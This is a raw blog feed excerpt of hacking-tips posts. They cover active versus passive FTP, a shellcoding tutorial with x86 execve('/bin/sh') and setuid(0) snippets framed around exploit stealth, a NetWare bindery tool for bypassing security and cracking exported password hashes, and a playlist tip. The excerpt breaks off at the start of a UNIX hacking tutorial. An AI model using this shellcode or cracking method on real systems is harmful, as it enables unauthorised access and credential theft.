/&gt;&lt;br /&gt;Active FTP Example&lt;br /&gt;Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.&lt;br /&gt;&lt;br /&gt;There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.&lt;br /&gt;&lt;br /&gt;testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2&lt;br /&gt;Connected to testbox2.slacksite.com.&lt;br /&gt;220 testbox2.slacksite.com FTP server ready.&lt;br /&gt;Name (testbox2:slacker): slacker&lt;br /&gt;---&gt; USER slacker&lt;br /&gt;331 Password required for slacker.&lt;br /&gt;Password: TmpPass&lt;br /&gt;---&gt; PASS XXXX&lt;br /&gt;230 User slacker logged in.&lt;br /&gt;---&gt; SYST&lt;br /&gt;215 UNIX Type: L8&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&gt; ls&lt;br /&gt;ftp: setsockopt (ignored): Permission denied&lt;br /&gt;---&gt; PORT 192,168,150,80,14,178&lt;br /&gt;200 PORT command successful.&lt;br /&gt;---&gt; LIST&lt;br /&gt;150 Opening ASCII mode data connection for file list.&lt;br /&gt;drwx------ 3 slacker users 104 Jul 27 01:45 public_html&lt;br /&gt;226 Transfer complete.&lt;br /&gt;ftp&gt; quit&lt;br /&gt;---&gt; QUIT&lt;br /&gt;221 Goodbye.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Passive FTP&lt;br /&gt;In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.&lt;br /&gt;&lt;br /&gt;In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N &gt; 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P &gt; 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.&lt;br /&gt;&lt;br /&gt;From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:&lt;br /&gt;&lt;br /&gt;FTP server's port 21 from anywhere (Client initiates connection)&lt;br /&gt;FTP server's port 21 to ports &gt; 1024 (Server responds to client's control port)&lt;br /&gt;FTP server's ports &gt; 1024 from anywhere (Client initiates data connection to random port specified by server)&lt;br /&gt;FTP server's ports &gt; 1024 to remote ports &gt; 1024 (Server sends ACKs (and data) to client's data port)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port.&lt;br /&gt;&lt;br /&gt;While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.&lt;br /&gt;&lt;br /&gt;The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.&lt;br /&gt;&lt;br /&gt;With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Passive FTP Example&lt;br /&gt;Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.&lt;br /&gt;&lt;br /&gt;Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.&lt;br /&gt;&lt;br /&gt;testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2&lt;br /&gt;Connected to testbox2.slacksite.com.&lt;br /&gt;220 testbox2.slacksite.com FTP server ready.&lt;br /&gt;Name (testbox2:slacker): slacker&lt;br /&gt;---&gt; USER slacker&lt;br /&gt;331 Password required for slacker.&lt;br /&gt;Password: TmpPass&lt;br /&gt;---&gt; PASS XXXX&lt;br /&gt;230 User slacker logged in.&lt;br /&gt;---&gt; SYST&lt;br /&gt;215 UNIX Type: L8&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&gt; passive&lt;br /&gt;Passive mode on.&lt;br /&gt;ftp&gt; ls&lt;br /&gt;ftp: setsockopt (ignored): Permission denied&lt;br /&gt;---&gt; PASV&lt;br /&gt;227 Entering Passive Mode (192,168,150,90,195,149).&lt;br /&gt;---&gt; LIST&lt;br /&gt;150 Opening ASCII mode data connection for file list&lt;br /&gt;drwx------ 3 slacker users 104 Jul 27 01:45 public_html&lt;br /&gt;226 Transfer complete.&lt;br /&gt;ftp&gt; quit&lt;br /&gt;---&gt; QUIT&lt;br /&gt;221 Goodbye.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Summary&lt;br /&gt;The following chart should help admins remember how each FTP mode works:&lt;br /&gt;&lt;br /&gt;Active FTP :&lt;br /&gt;command : client &gt;1024 -&gt; server 21&lt;br /&gt;data : client &gt;1024 &lt;- server 20  Passive FTP : command : client &gt;1024 -&gt; server 21&lt;br /&gt;data : client &gt;1024 -&gt; server &gt;1024&lt;br /&gt;&lt;br /&gt;A quick summary of the pros and cons of active vs. passive FTP is also in order:&lt;br /&gt;&lt;br /&gt;Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.&lt;br /&gt;&lt;br /&gt;Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn't eliminate all risk to the server, it decreases it tremendously.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-929456110817528758?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IihJ_QJ4xjHqCbHJlW4woWpvmgw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IihJ_QJ4xjHqCbHJlW4woWpvmgw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IihJ_QJ4xjHqCbHJlW4woWpvmgw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IihJ_QJ4xjHqCbHJlW4woWpvmgw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/-GVzlWwK2HA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/929456110817528758/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=929456110817528758" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/929456110817528758?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/929456110817528758?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/-GVzlWwK2HA/setting-up-ftp.html" title="Setting Up A Ftp" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/setting-up-ftp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUDRH07cCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-2108459110364904358</id><published>2008-08-12T08:17:00.001-07:00</published><updated>2008-08-12T08:17:55.308-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:17:55.308-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Techniques" /><category scheme="http://www.blogger.com/atom/ns#" term="Shellcoding" /><title>Advanced Shellcoding Techniques</title><content type="html">This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper.  I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes.  I do not claim to have invented any of these techniques, except for the one that uses the div instruction.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The multiplicity of mul&lt;br /&gt;&lt;br /&gt;This technique was originally developed by Sorbo of darkircop.net.  The mul instruction may, on the surface, seem mundane, and it's purpose obvious.  However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful.  First some background information on the mul instruction itself.&lt;br /&gt;&lt;br /&gt;mul performs an unsigned multiply of two integers.  It takes only one operand, the other is implicitly specified by the %eax register.  So, a  common mul instruction might look something like this:&lt;br /&gt;&lt;br /&gt;movl $0x0a,%eax&lt;br /&gt;mul $0x0a&lt;br /&gt;&lt;br /&gt;This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10.  The result is then implicitly stored in EDX:EAX.  The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).&lt;br /&gt;&lt;br /&gt;So, now comes the ever-important question.  How can we use these attributes to our advantage when writing shellcode?  Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode.  It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication.  Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0?  The answer, as you may have guessed, is 0.  I think it's about time for some example code, so here it is:&lt;br /&gt;&lt;br /&gt;xorl %ecx,%ecx&lt;br /&gt;mul %ecx&lt;br /&gt;&lt;br /&gt;What is this shellcode doing?  Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0.  Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX.  So, regardless of %eax's previous contents, %eax must now be 0.  However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax.  Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The div instruction&lt;br /&gt;&lt;br /&gt;Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax.  Also like, mul it stores the result of the divide in %eax.  Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction.  But first, let's think about what is normally stored in the %eax register.  The %eax register holds the return value of functions and/or syscalls.  Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur).  So, if we know that after a syscall is performed, %eax will have a non-zero value, and that  the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax.  So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80.  It just so happens that the syscall that corresponds to the value 1 is exit().  Now for an example:&lt;br /&gt;&lt;br /&gt;      &lt;br /&gt;xorl %ebx,%ebx&lt;br /&gt;mul %ebx&lt;br /&gt;push %edx&lt;br /&gt;pushl   $0x3268732f&lt;br /&gt;pushl   $0x6e69622f&lt;br /&gt;mov %esp, %ebx&lt;br /&gt;push %edx&lt;br /&gt;push %ebx&lt;br /&gt;mov %esp,%ecx&lt;br /&gt;movb $0xb, %al  #execve() syscall, doesn't return at all unless it fails, in which case it returns -1&lt;br /&gt;int $0x80&lt;br /&gt;&lt;br /&gt;divl %eax  # -1 / -1 = 1&lt;br /&gt;int $0x80&lt;br /&gt;&lt;br /&gt;Now, we have a 3 byte exit function, where as before it was 5 bytes.  However, there is a catch, what if a syscall does return 0?  Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero.  Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly.  They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping.  However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system.  So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Unlocking the power of leal&lt;br /&gt;&lt;br /&gt;The leal instruction is an often neglected instruction in shellcode, even though it is quite useful.  Consider this short piece of shellcode.&lt;br /&gt;&lt;br /&gt;xorl %ecx,%ecx&lt;br /&gt;leal 0x10(%ecx),%eax&lt;br /&gt;&lt;br /&gt;This will load the value 17 into eax, and clear all of the extraneous bits of eax.  This occurs because the leal instruction loads a variable of the type long into it's desitination operand.  In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts.  However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address.  In a normal shellcode we would do something like this, to accomplish the same thing:&lt;br /&gt;&lt;br /&gt;xorl %eax,%eax&lt;br /&gt;movb $0x10,%eax&lt;br /&gt;&lt;br /&gt;I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right.  However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted.  Here's an example:&lt;br /&gt;&lt;br /&gt;xorl    %eax,%eax&lt;br /&gt;xorl    %ebx,%ebx&lt;br /&gt;movb    $0x17,%al&lt;br /&gt;int    $0x80&lt;br /&gt;      &lt;br /&gt;xorl %ebx,%ebx&lt;br /&gt;leal 0x17(%ebx),%al&lt;br /&gt;int $0x80&lt;br /&gt;&lt;br /&gt;Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8.  Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conclusion&lt;br /&gt;&lt;br /&gt;I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes.  If you know who invented  the leal technique, please tell me and I will credit him/her.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-2108459110364904358?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IMFBIp-kipr3Bbn66ESJJxhXnug/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IMFBIp-kipr3Bbn66ESJJxhXnug/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IMFBIp-kipr3Bbn66ESJJxhXnug/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IMFBIp-kipr3Bbn66ESJJxhXnug/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/Amgj7AXC7GI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/2108459110364904358/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=2108459110364904358" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2108459110364904358?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2108459110364904358?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/Amgj7AXC7GI/advanced-shellcoding-techniques.html" title="Advanced Shellcoding Techniques" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/advanced-shellcoding-techniques.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYFSX8ycSp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-2364087939491427418</id><published>2008-08-12T08:14:00.000-07:00</published><updated>2008-08-12T08:15:18.199-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:15:18.199-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bindery" /><title>Accessing the bindery files directly</title><content type="html">Alastair Grant, Cambridge University&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Introduction&lt;br /&gt;&lt;br /&gt;This document describes a command for accessing the NetWare 3.x bindery&lt;br /&gt;files directly, bypassing the NetWare network API calls.&lt;br /&gt;&lt;br /&gt;It can be used for fast bindery access, bulk user management, bypassing&lt;br /&gt;security restrictions, investigating problems etc.&lt;br /&gt;&lt;br /&gt;It is quite possible to destroy the bindery completely, or to reveal&lt;br /&gt;information which could be used by hackers to obtain passwords. Users&lt;br /&gt;are assumed to have a basic grasp of good procedures for security and&lt;br /&gt;backup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Command syntax&lt;br /&gt;&lt;br /&gt;The basic format of the command is&lt;br /&gt;&lt;br /&gt;   bindery [options] bindery-spec action action ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.1 Specifying a bindery&lt;br /&gt;&lt;br /&gt;A bindery specification takes the form&lt;br /&gt;&lt;br /&gt;   path/.extension&lt;br /&gt;&lt;br /&gt;E.g. SYS:SYSTEM/.SYS. The path defaults to the current directory. The&lt;br /&gt;extension defaults to .OLD.&lt;br /&gt;&lt;br /&gt;Alternatively an 'active' bindery can be specified:&lt;br /&gt;&lt;br /&gt;   SERVER server&lt;br /&gt;&lt;br /&gt;The bindery will be closed if necessary.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.2 Actions on the bindery&lt;br /&gt;&lt;br /&gt;  INFO      print info about the bindery&lt;br /&gt;  SCHEMA    checks the bindery against the schema in BINDERY.SCH&lt;br /&gt;  DUMP obj  dump all information for the specified object(s)&lt;br /&gt;  OBJ       list all object records&lt;br /&gt;  PROP      list all property records&lt;br /&gt;  VAL       list all value records&lt;br /&gt;  VALDATA   list all value records, with data&lt;br /&gt;  EXPORT    export the bindery to a text file; see below&lt;br /&gt;  IMPORT    import the bindery from a text file&lt;br /&gt;  ETC       export user password information, suitable for input to the&lt;br /&gt;            password-cracking program described below&lt;br /&gt;&lt;br /&gt;The following actions apply only if a bindery has been specified by the&lt;br /&gt;SERVER parameter:&lt;br /&gt;  CLOSE     close the bindery, i.e. make it available for direct access;&lt;br /&gt;            users attempting to access the bindery via NetWare API calls&lt;br /&gt;            will receive an error&lt;br /&gt;  OPEN      open the bindery, which causes the server to reload it and&lt;br /&gt;            may take some time for large binderies&lt;br /&gt;  COPY directory&lt;br /&gt;            copy the bindery files into a directory elsewhere&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Export/import&lt;br /&gt;&lt;br /&gt;The bindery can be exported to and imported from a text file. This can&lt;br /&gt;be used for various purposes:&lt;br /&gt;&lt;br /&gt; -   problem diagnosis and repair&lt;br /&gt;&lt;br /&gt; -   creation of large binderies given a set of user information&lt;br /&gt;&lt;br /&gt; -   compaction of binderies&lt;br /&gt;&lt;br /&gt; -   merging binderies or moving users between binderies while&lt;br /&gt;     preserving their passwords&lt;br /&gt;&lt;br /&gt;To see the format of the export file, try exporting a small bindery.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Password cracking&lt;br /&gt;&lt;br /&gt;Passwords are not stored in clear in the bindery. What is stored is a&lt;br /&gt;16-byte value computed via a one-way function from the user's object id&lt;br /&gt;and the password. Given the object id and password it is possible to&lt;br /&gt;generate a candidate password which can be compared against that in the&lt;br /&gt;bindery.&lt;br /&gt;&lt;br /&gt;The ETC option of the BINDERY command produces a file containing the&lt;br /&gt;required information, in a format superficially similar to /etc/passwd&lt;br /&gt;on Unix:&lt;br /&gt;&lt;br /&gt;   userid:pw-hash:object-id:pw-len:name::&lt;br /&gt;&lt;br /&gt;e.g.&lt;br /&gt;&lt;br /&gt;   ttidy:32d8998e098a05830f809b809ea02137:D0000001:8:Terry Tidy&lt;br /&gt;&lt;br /&gt;This can then be input into bindery cracking programs. Separating the&lt;br /&gt;functions in this way allows various forms of parallelism:&lt;br /&gt;&lt;br /&gt; -   the password file can be split into smaller chunks&lt;br /&gt;&lt;br /&gt; -   the same password file can be worked on by several cracking&lt;br /&gt;     programs each with different dictionaries or algorithms&lt;br /&gt;&lt;br /&gt; -   cracking programs can be run on faster machines&lt;br /&gt;&lt;br /&gt;A cracking program BINCRACK is provided which takes such a file as&lt;br /&gt;input. It has command syntax:&lt;br /&gt;&lt;br /&gt;   bincrack [/verify] [/numsub] pw-file dict-file&lt;br /&gt;&lt;br /&gt;/verify lists the passwords that are being tried. /numsub tries&lt;br /&gt;substituting numbers for letters, e.g. "1D10T". This takes a lot longer&lt;br /&gt;as all possible combinations are tried. pw-file is an exported bindery&lt;br /&gt;password file. dict-file is a simple word list.&lt;br /&gt;&lt;br /&gt;Versions are available for MS-DOS and for Solaris 1 and Solaris 2 SPARC&lt;br /&gt;systems.&lt;br /&gt;&lt;br /&gt;Suitable wordlists can be found at&lt;br /&gt;&lt;br /&gt;   ftp://ftp.ox.ac.uk/pub/wordlists/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-2364087939491427418?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YG6HRJHD1zRvt0OX7m0YLAdo5FA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YG6HRJHD1zRvt0OX7m0YLAdo5FA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YG6HRJHD1zRvt0OX7m0YLAdo5FA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YG6HRJHD1zRvt0OX7m0YLAdo5FA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/4ZimTw5XcgU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/2364087939491427418/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=2364087939491427418" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2364087939491427418?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2364087939491427418?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/4ZimTw5XcgU/accessing-bindery-files-directly.html" title="Accessing the bindery files directly" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/accessing-bindery-files-directly.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcGRH48eCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-7025817031001523587</id><published>2008-08-12T08:12:00.000-07:00</published><updated>2008-08-12T08:13:45.070-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:13:45.070-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="Real Media" /><title>Real Media Tutorial</title><content type="html">You may find this helpful if you download hundreds of short episodes in realmedia format like me and tired of double-click to open next files.&lt;br /&gt;&lt;br /&gt;Very easy. Use notepad to open a new file, type this inside:&lt;br /&gt;file://link to file1&lt;br /&gt;file://link to file2&lt;br /&gt;(type as many as you want)&lt;br /&gt;Close file. Rename it to FileName.rm&lt;br /&gt;&lt;br /&gt;Then you`re done!!!!&lt;br /&gt;&lt;br /&gt;Ex:&lt;br /&gt;I put my playlist file here: C:\Movies\7VNR&lt;br /&gt;And the movie files are in C:\Movies\7VNR\DragonBall&lt;br /&gt;&lt;br /&gt;Then inside my playlist file I`ll have something like this:&lt;br /&gt;&lt;br /&gt;file://DragonBall/db134.rm&lt;br /&gt;file://DragonBall/db135.rm&lt;br /&gt;file://DragonBall/db136.rm&lt;br /&gt;file://DragonBall/db137.rm&lt;br /&gt;file://DragonBall/db138.rm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-7025817031001523587?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8NbfmJfXEQQYp_riSwalmDzcqss/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8NbfmJfXEQQYp_riSwalmDzcqss/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8NbfmJfXEQQYp_riSwalmDzcqss/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8NbfmJfXEQQYp_riSwalmDzcqss/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/kbsm07xRTRY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/7025817031001523587/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=7025817031001523587" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/7025817031001523587?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/7025817031001523587?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/kbsm07xRTRY/real-media-tutorial.html" title="Real Media Tutorial" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/real-media-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEFQHo8eyp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-6503241461359759558</id><published>2008-08-12T08:05:00.001-07:00</published><updated>2008-08-12T08:06:51.473-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:06:51.473-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="UNIX" /><category scheme="http://www.blogger.com/atom/ns#" term="Tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>UNIX : A Hacking Tutorial</title><content type="html">This phile is geared as an UNIX tutorial at first, to let you get more&lt;br /&gt;familiar with the operating system.  UNIX is just an operating system, as&lt;br /&gt;is MS-DOS, AppleDOS, AmigaDOS, and others.  UNIX happens to be a multi-user-&lt;br /&gt;multi-tasking system, thus bringing a need for security not found on MSDOS,&lt;br /&gt;AppleDOS, etc.  This phile will hopefully teach the beginners who do not have&lt;br 